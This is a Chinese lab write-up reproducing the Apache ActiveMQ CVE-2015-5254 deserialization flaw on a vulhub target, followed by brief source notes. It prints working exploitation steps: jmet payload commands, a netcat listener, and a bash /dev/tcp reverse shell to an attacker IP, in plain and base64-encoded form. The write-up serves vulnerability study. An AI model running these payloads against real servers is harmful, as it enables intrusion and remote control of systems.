栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 软件开发 > 后端开发 > Java

activemq

Java 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

activemq

0x01_漏洞简介

Apache ActiveMQ是由美国阿帕奇(Apache)软件基金会开发的开源消息中间件,支持Java消息服务、集群、Spring框架等。属于消息队列组件(消息队列组件:分布式系统中的重要组件,主要解决应用耦合、异步消息、流量削峰等)。
ApacheActive MQ5.13.0版本之前到5.x版本的安全漏洞,该程序引起的漏洞不限制代理中可以序列化的类。远程攻击者可以制作一个特殊的序列化Java消息服务(JMS) ObjectMessage对象,利用该漏洞执行任意代码。

漏洞版本:

Apache ActiveMQ 5.x ~ Apache ActiveMQ 5.13.0
0x02_漏洞复现

【1】进入漏洞所在目录:

[root@localhost vulhub]# cd activemq
[root@localhost activemq]# ls
CVE-2015-5254  CVE-2016-3088
[root@localhost activemq]# cd CVE-2015-5254/
[root@localhost CVE-2015-5254]#

【2】启动环境并查看端口

访问ip:8161

【3】在攻击机(kali)中,构建攻击payload,利用jmet生成一个序列化的对象

(1)下载jmet的jar文件

wget https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar

【2】给目标ActiveMQ添加一个名为event的队列,此时就成功给服务器添加了一个“事件”

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y “touch /tmp/hack_for_fun” -Yp ROME 172.16.135.201 61616

上面的172.16.135.201是靶机的IP(有洞的IP)

但是报错了:

没关系,接着下一步:

靶机访问:

admin/admin

因为我执行了两次命令,所以,出现了两个:并且点击一个

点击之后跳转到:

再看看靶机的/tmp目录下:

docker ps


CONTAINER ID是9794c7f87d0a,

docker exec -it 9794c7f87d0a /bin/bash


看到有创建的hack_for_fun就是利用成功了

【3】获取目标机系统控制权
在kali中监听9999端口

nc -lvp 9999

首先payload是:
payload为 bash -i >& /dev/tcp/172.16.135.210/9999 0>&1

反弹shell的命令就不用多说了吧

但是要进行base64编码:

YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTYuMTM1LjIxMC85OTk5IDA+JjE=

再就是和之前一样利用jmet-0.1.0-all.jar

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTYuMTM1LjIxMC85OTk5IDA+JjE=}|{base64,-d}|{bash,-i}" -Yp ROME 172.16.135.201 61616

靶机点击之后,就会反弹shell

简单总结:
1.构造可执行命令的序列化对象
2.作为一个消息,发送给目标61616端口
3.访问web管理页面,读取消息,触发漏洞

0x03_源码阅读

下载源码:
https://activemq.apache.org/components/classic/download/

这里我下载5.12.0

下载源码:

下载下来之后,用IDEA或者vscode打开

首先要理解的是:Apache ActiveMQ 5.13.0之前5.x版本中存在安全漏洞,该漏洞源于程序未能限制可在代理中序列化的类。远程攻击者可借助特制的序列化的Java Message Service (JMS) ObjectMessage对象利用该漏洞执行任意代码。

ObjectMessage属于javax.jms包下,用到了java.io.Serializable

ObjectMessage是一接口,继承自Message,有两个方法:


注意这里有一个消息生产者:
MessageProducer

当然还有消息的消费者:

什么时候执行我们恶意发送的命令?
下面的代码展示了流程:

在ActiveMQ中,有这样的角色:消费者和生产者,消费者消费的时候,就执行了我们在消息中恶意想要服务器执行的代码。

最后,补充一个对于ActiveMQ消费者消费消息的源码分析注释:

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/953335.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号